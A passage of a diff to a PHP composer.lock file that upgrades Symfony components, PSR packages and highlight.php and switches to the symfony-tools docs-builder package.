-                "message",
-                "psr-7",
-                "request",
-                "response",
-                "stream",
-                "uri",
-                "url"
-            ],
-            "support": {
-                "issues": "https://github.com/guzzle/psr7/issues",
-                "source": "https://github.com/guzzle/psr7/tree/1.7.0"
-            },
-            "time": "2020-09-30T07:37:11+00:00"
+            "time": "2021-10-21T18:44:45+00:00"
         },
         {
             "name": "psr/container",
-            "version": "1.0.0",
+            "version": "1.1.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
+                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
-                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/8622567409010282b7aeebe4bb841fe98b58dcaf",
+                "reference": "8622567409010282b7aeebe4bb841fe98b58dcaf",
                 "shasum": ""
             },
             "require": {
-                "php": ">=5.3.0"
+                "php": ">=7.2.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Psr\\Container\\": "src/"
@@ -404,7 +203,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
+                    "homepage": "https://www.php-fig.org/"
                 }
             ],
             "description": "Common Container Interface (PHP FIG PSR-11)",
@@ -418,75 +217,22 @@
             ],
             "support": {
                 "issues": "https://github.com/php-fig/container/issues",
-                "source": "https://github.com/php-fig/container/tree/master"
-            },
-            "time": "2017-02-14T16:28:37+00:00"
-        },
-        {
-            "name": "psr/http-message",
-            "version": "1.0.1",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/php-fig/http-message.git",
-                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363",
-                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.3.0"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.0.x-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Psr\\Http\\Message\\": "src/"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
-                }
-            ],
-            "description": "Common interface for HTTP messages",
-            "homepage": "https://github.com/php-fig/http-message",
-            "keywords": [
-                "http",
-                "http-message",
-                "psr",
-                "psr-7",
-                "request",
-                "response"
-            ],
-            "support": {
-                "source": "https://github.com/php-fig/http-message/tree/master"
+                "source": "https://github.com/php-fig/container/tree/1.1.1"
             },
-            "time": "2016-08-06T14:39:51+00:00"
+            "time": "2021-03-05T17:36:06+00:00"
         },
         {
             "name": "psr/log",
-            "version": "1.1.3",
+            "version": "1.1.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc"
+                "reference": "d49695b909c3b7628b6289db5479a1c204601f11"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
-                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/d49695b909c3b7628b6289db5479a1c204601f11",
+                "reference": "d49695b909c3b7628b6289db5479a1c204601f11",
                 "shasum": ""
             },
             "require": {
@@ -510,7 +256,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "http://www.php-fig.org/"
+                    "homepage": "https://www.php-fig.org/"
                 }
             ],
             "description": "Common interface for logging libraries",
@@ -521,71 +267,26 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/1.1.3"
-            },
-            "time": "2020-03-23T09:12:05+00:00"
-        },
-        {
-            "name": "ralouphie/getallheaders",
-            "version": "3.0.3",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/ralouphie/getallheaders.git",
-                "reference": "120b605dfeb996808c31b6477290a714d356e822"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/ralouphie/getallheaders/zipball/120b605dfeb996808c31b6477290a714d356e822",
-                "reference": "120b605dfeb996808c31b6477290a714d356e822",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=5.6"
-            },
-            "require-dev": {
-                "php-coveralls/php-coveralls": "^2.1",
-                "phpunit/phpunit": "^5 || ^6.5"
-            },
-            "type": "library",
-            "autoload": {
-                "files": [
-                    "src/getallheaders.php"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Ralph Khattar",
-                    "email": "ralph.khattar@gmail.com"
-                }
-            ],
-            "description": "A polyfill for getallheaders.",
-            "support": {
-                "issues": "https://github.com/ralouphie/getallheaders/issues",
-                "source": "https://github.com/ralouphie/getallheaders/tree/develop"
+                "source": "https://github.com/php-fig/log/tree/1.1.4"
             },
-            "time": "2019-03-08T08:55:37+00:00"
+            "time": "2021-05-03T11:20:27+00:00"
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "v9.18.1.3",
+            "version": "v9.18.1.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "6a1699707b099081f20a488ac1f92d682181018c"
+                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6a1699707b099081f20a488ac1f92d682181018c",
-                "reference": "6a1699707b099081f20a488ac1f92d682181018c",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6d5049cd2578e19a06adbb6ac77879089be1e3f9",
+                "reference": "6d5049cd2578e19a06adbb6ac77879089be1e3f9",
                 "shasum": ""
             },
             "require": {
                 "ext-json": "*",
-                "ext-mbstring": "*",
                 "php": ">=5.4"
             },
             "require-dev": {
@@ -595,7 +296,7 @@
                 "symfony/var-dumper": "^2.8|^3.4"
             },
             "suggest": {
-                "ext-dom": "Needed to make use of the features in the utilities namespace"
+                "ext-mbstring": "Allows highlighting code with unicode characters and supports language with unicode keywords"
             },
             "type": "library",
             "autoload": {
@@ -646,46 +347,99 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-10-16T07:43:22+00:00"
+            "time": "2021-10-24T00:28:14+00:00"
+        },
+        {
+            "name": "symfony-tools/docs-builder",
+            "version": "v0.18.2",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony-tools/docs-builder.git",
+                "reference": "53632711147e08782e2be782d5cbe68109c497be"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/53632711147e08782e2be782d5cbe68109c497be",
+                "reference": "53632711147e08782e2be782d5cbe68109c497be",
+                "shasum": ""
+            },
+            "require": {
+                "doctrine/rst-parser": "^0.4",
+                "ext-curl": "*",
+                "ext-json": "*",
+                "php": "^7.2 || ^8.0",
+                "scrivo/highlight.php": "^9.12.0",
+                "symfony/console": "^5.2",
+                "symfony/css-selector": "^5.2",
+                "symfony/dom-crawler": "^5.2",
+                "symfony/filesystem": "^5.2",
+                "symfony/finder": "^5.2",
+                "symfony/http-client": "^5.2",
+                "twig/twig": "^2.14 || ^3.3"
+            },
+            "require-dev": {
+                "gajus/dindent": "^2.0",
+                "symfony/phpunit-bridge": "^5.2",
+                "symfony/process": "^5.2"
+            },
+            "type": "project",
+            "autoload": {
+                "psr-4": {
+                    "SymfonyDocsBuilder\\": "src"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "description": "The build system for Symfony's documentation",
+            "support": {
+                "issues": "https://github.com/symfony-tools/docs-builder/issues",
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.18.2"
+            },
+            "time": "2021-10-15T07:59:06+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v4.4.15",
+            "version": "5.4.x-dev",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124"
+                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
-                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
+                "url": "https://api.github.com/repos/symfony/console/zipball/4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
+                "reference": "4b9af1b40d7e11750b248ceb38bb45a0d013ba29",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1",
                 "symfony/polyfill-mbstring": "~1.0",
                 "symfony/polyfill-php73": "^1.8",
-                "symfony/polyfill-php80": "^1.15",
-                "symfony/service-contracts": "^1.1|^2"
+                "symfony/polyfill-php80": "^1.16",
+                "symfony/service-contracts": "^1.1|^2",
+                "symfony/string": "^5.1|^6.0"
             },
             "conflict": {
-                "symfony/dependency-injection": "<3.4",
-                "symfony/event-dispatcher": "<4.3|>=5",
+                "symfony/dependency-injection": "<4.4",
+                "symfony/dotenv": "<5.1",
+                "symfony/event-dispatcher": "<4.4",
                 "symfony/lock": "<4.4",
-                "symfony/process": "<3.3"
+                "symfony/process": "<4.4"
             },
             "provide": {
-                "psr/log-implementation": "1.0"
+                "psr/log-implementation": "1.0|2.0"
             },
             "require-dev": {
-                "psr/log": "~1.0",
-                "symfony/config": "^3.4|^4.0|^5.0",
-                "symfony/dependency-injection": "^3.4|^4.0|^5.0",
-                "symfony/event-dispatcher": "^4.3",
-                "symfony/lock": "^4.4|^5.0",
-                "symfony/process": "^3.4|^4.0|^5.0",
-                "symfony/var-dumper": "^4.3|^5.0"
+                "psr/log": "^1|^2",
+                "symfony/config": "^4.4|^5.0|^6.0",
+                "symfony/dependency-injection": "^4.4|^5.0|^6.0",
+                "symfony/event-dispatcher": "^4.4|^5.0|^6.0",
+                "symfony/lock": "^4.4|^5.0|^6.0",
+                "symfony/process": "^4.4|^5.0|^6.0",
+                "symfony/var-dumper": "^4.4|^5.0|^6.0"
             },
             "suggest": {
                 "psr/log": "For using the console logger",
@@ -694,11 +448,6 @@
                 "symfony/process": ""
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Console\\": ""
@@ -721,10 +470,16 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Console Component",
+            "description": "Eases the creation of beautiful and testable command line interfaces",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "cli",
+                "command line",
+                "console",
+                "terminal"
+            ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v4.4.15"
+                "source": "https://github.com/symfony/console/tree/5.4"
             },
             "funding": [
                 {
@@ -740,31 +495,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-15T07:58:55+00:00"
+            "time": "2021-11-03T09:24:47+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v4.4.15",
+            "version": "v5.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc"
+                "reference": "7fb120adc7f600a59027775b224c13a33530dd90"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
-                "reference": "bf17dc9f6ce144e41f786c32435feea4d8e11dcc",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/7fb120adc7f600a59027775b224c13a33530dd90",
+                "reference": "7fb120adc7f600a59027775b224c13a33530dd90",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\CssSelector\\": ""
@@ -791,10 +542,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony CssSelector Component",
+            "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v4.4.15"
+                "source": "https://github.com/symfony/css-selector/tree/v5.3.4"
             },
             "funding": [
                 {
@@ -810,83 +561,107 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-07-05T09:39:30+00:00"
+            "time": "2021-07-21T12:38:00+00:00"
         },
         {
-            "name": "symfony/docs-builder",
-            "version": "dev-master",
+            "name": "symfony/deprecation-contracts",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
-                "url": "https://github.com/weaverryan/docs-builder",
-                "reference": "e388a6f8cd7a98c34cdc913d18adc9e92ef73441"
+                "url": "https://github.com/symfony/deprecation-contracts.git",
+                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "reference": "5f38c8804a9e97d23e0c8d63341088cd8a22d627",
+                "shasum": ""
             },
             "require": {
-                "doctrine/rst-parser": "dev-master",
-                "ext-curl": "*",
-                "ext-json": "*",
-                "guzzlehttp/guzzle": "~6.0",
-                "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^4.1",
-                "symfony/css-selector": "^4.1",
-                "symfony/dom-crawler": "^4.1",
-                "symfony/filesystem": "^4.1",
-                "symfony/finder": "^4.1",
-                "symfony/http-client": "^4.3",
-                "twig/twig": "^2.7.3"
+                "php": ">=7.1"
             },
-            "require-dev": {
-                "gajus/dindent": "^2.0",
-                "symfony/phpunit-bridge": "^4.1",
-                "symfony/process": "^4.2"
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "2.4-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
+                }
             },
-            "default-branch": true,
-            "type": "project",
             "autoload": {
-                "psr-4": {
-                    "SymfonyDocsBuilder\\": "src"
-                }
+                "files": [
+                    "function.php"
+                ]
             },
+            "notification-url": "https://packagist.org/downloads/",
             "license": [
                 "MIT"
             ],
-            "description": "The build system for Symfony's documentation",
-            "time": "2020-10-26T22:58:16+00:00"
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "A generic function and convention to trigger deprecation notices",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v2.4.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-03-23T23:28:01+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v4.4.15",
+            "version": "v5.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b"
+                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
-                "reference": "bdcb7633a501770a0daefbf81d2e6b28c3864f2b",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
+                "reference": "c7eef3a60ccfdd8eafe07f81652e769ac9c7146c",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
+                "php": ">=7.2.5",
+                "symfony/deprecation-contracts": "^2.1",
                 "symfony/polyfill-ctype": "~1.8",
-                "symfony/polyfill-mbstring": "~1.0"
+                "symfony/polyfill-mbstring": "~1.0",
+                "symfony/polyfill-php80": "^1.16"
             },
             "conflict": {
                 "masterminds/html5": "<2.6"
             },
             "require-dev": {
                 "masterminds/html5": "^2.6",
-                "symfony/css-selector": "^3.4|^4.0|^5.0"
+                "symfony/css-selector": "^4.4|^5.0"
             },
             "suggest": {
                 "symfony/css-selector": ""
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\DomCrawler\\": ""
@@ -909,10 +684,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony DomCrawler Component",
+            "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v4.4.15"
+                "source": "https://github.com/symfony/dom-crawler/tree/v5.3.7"
             },
             "funding": [
                 {
@@ -928,32 +703,28 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T07:34:48+00:00"
+            "time": "2021-08-29T19:32:13+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v4.4.15",
+            "version": "v5.3.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db"
+                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/ebc51494739d3b081ea543ed7c462fa73a4f74db",
-                "reference": "ebc51494739d3b081ea543ed7c462fa73a4f74db",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/343f4fe324383ca46792cae728a3b6e2f708fb32",
+                "reference": "343f4fe324383ca46792cae728a3b6e2f708fb32",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
-                "symfony/polyfill-ctype": "~1.8"
+                "php": ">=7.2.5",
+                "symfony/polyfill-ctype": "~1.8",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Filesystem\\": ""
@@ -976,10 +747,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Filesystem Component",
+            "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v4.4.15"
+                "source": "https://github.com/symfony/filesystem/tree/v5.3.4"
             },
             "funding": [
                 {
@@ -995,31 +766,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-09-27T13:54:16+00:00"
+            "time": "2021-07-21T12:40:44+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v4.4.15",
+            "version": "v5.3.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "60d08560f9aa72997c44077c40d47aa28a963230"
+                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/60d08560f9aa72997c44077c40d47aa28a963230",
-                "reference": "60d08560f9aa72997c44077c40d47aa28a963230",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
+                "reference": "a10000ada1e600d109a6c7632e9ac42e8bf2fb93",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3"
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\Finder\\": ""
@@ -1042,10 +809,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony Finder Component",
+            "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v4.4.15"
+                "source": "https://github.com/symfony/finder/tree/v5.3.7"
             },
             "funding": [
                 {
@@ -1061,50 +828,52 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T07:34:48+00:00"
+            "time": "2021-08-04T21:20:46+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v4.4.15",
+            "version": "v5.3.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4"
+                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/b1cb966898aaf8df37280fde537a27b6724b3bc4",
-                "reference": "b1cb966898aaf8df37280fde537a27b6724b3bc4",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
+                "reference": "710b69ed4bc9469900ec5ae5c3807b0509bee0dc",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1.3",
-                "psr/log": "^1.0",
-                "symfony/http-client-contracts": "^1.1.10|^2",
+                "php": ">=7.2.5",
+                "psr/log": "^1|^2|^3",
+                "symfony/deprecation-contracts": "^2.1",
+                "symfony/http-client-contracts": "^2.4",
                 "symfony/polyfill-php73": "^1.11",
+                "symfony/polyfill-php80": "^1.16",
                 "symfony/service-contracts": "^1.0|^2"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
                 "php-http/client-implementation": "*",
                 "psr/http-client-implementation": "1.0",
-                "symfony/http-client-implementation": "1.1"
+                "symfony/http-client-implementation": "2.4"
             },
             "require-dev": {
-                "guzzlehttp/promises": "^1.3.1",
+                "amphp/amp": "^2.5",
+                "amphp/http-client": "^4.2.1",
+                "amphp/http-tunnel": "^1.0",
+                "amphp/socket": "^1.1",
+                "guzzlehttp/promises": "^1.4",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^4.3|^5.0",
-                "symfony/http-kernel": "^4.4.13",
-                "symfony/process": "^4.2|^5.0"
+                "symfony/dependency-injection": "^4.4|^5.0",
+                "symfony/http-kernel": "^4.4.13|^5.1.5",
+                "symfony/process": "^4.4|^5.0",
+                "symfony/stopwatch": "^4.4|^5.0"
             },
             "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "4.4-dev"
-                }
-            },
             "autoload": {
                 "psr-4": {
                     "Symfony\\Component\\HttpClient\\": ""
@@ -1127,10 +896,10 @@
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony HttpClient component",
+            "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v4.4.15"
+                "source": "https://github.com/symfony/http-client/tree/v5.3.10"
             },
             "funding": [
                 {
@@ -1146,20 +915,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-02T13:41:48+00:00"
+            "time": "2021-10-19T08:32:53+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v2.3.1",
+            "version": "v2.4.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "41db680a15018f9c1d4b23516059633ce280ca33"
+                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/41db680a15018f9c1d4b23516059633ce280ca33",
-                "reference": "41db680a15018f9c1d4b23516059633ce280ca33",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
+                "reference": "7e82f6084d7cae521a75ef2cb5c9457bbda785f4",
                 "shasum": ""
             },
             "require": {
@@ -1170,9 +939,8 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "2.3",
                 "branch-alias": {
-                    "dev-main": "2.3-dev"
+                    "dev-main": "2.4-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1209,7 +977,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v2.3.1"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1225,20 +993,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-14T17:08:19+00:00"
+            "time": "2021-04-11T23:07:08+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.20.0",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41"
+                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/f4ba089a5b6366e453971d3aad5fe8e897b37f41",
-                "reference": "f4ba089a5b6366e453971d3aad5fe8e897b37f41",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/46cd95797e9df938fdd2b03693b5fca5e64b01ce",
+                "reference": "46cd95797e9df938fdd2b03693b5fca5e64b01ce",
                 "shasum": ""
             },
             "require": {
@@ -1250,7 +1018,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1288,7 +1056,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1304,26 +1072,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
-            "name": "symfony/polyfill-intl-idn",
-            "version": "v1.20.0",
+            "name": "symfony/polyfill-intl-grapheme",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
-                "url": "https://github.com/symfony/polyfill-intl-idn.git",
-                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117"
+                "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
+                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-idn/zipball/3b75acd829741c768bc8b1f84eb33265e7cc5117",
-                "reference": "3b75acd829741c768bc8b1f84eb33265e7cc5117",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/16880ba9c5ebe3642d1995ab866db29270b36535",
+                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1",
-                "symfony/polyfill-intl-normalizer": "^1.10",
-                "symfony/polyfill-php72": "^1.10"
+                "php": ">=7.1"
             },
             "suggest": {
                 "ext-intl": "For best performance"
@@ -1331,7 +1097,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.20-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1340,7 +1106,7 @@
             },
             "autoload": {
                 "psr-4": {
-                    "Symfony\\Polyfill\\Intl\\Idn\\": ""
+                    "Symfony\\Polyfill\\Intl\\Grapheme\\": ""
                 },
                 "files": [
                     "bootstrap.php"
@@ -1352,30 +1118,26 @@
             ],
             "authors": [
                 {
-                    "name": "Laurent Bassin",
-                    "email": "laurent@bassin.info"
-                },
-                {
-                    "name": "Trevor Rowbotham",
-                    "email": "trevor.rowbotham@pm.me"
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
                 },
                 {
                     "name": "Symfony Community",
                     "homepage": "https://symfony.com/contributors"
                 }
             ],
-            "description": "Symfony polyfill for intl's idn_to_ascii and idn_to_utf8 functions",
+            "description": "Symfony polyfill for intl's grapheme_* functions",
             "homepage": "https://symfony.com",
             "keywords": [
                 "compatibility",
-                "idn",
+                "grapheme",
                 "intl",
                 "polyfill",
                 "portable",
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-idn/tree/v1.20.0"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1391,20 +1153,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-23T14:02:19+00:00"
+            "time": "2021-05-27T12:26:48+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.20.0",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "727d1096295d807c309fb01a851577302394c897"
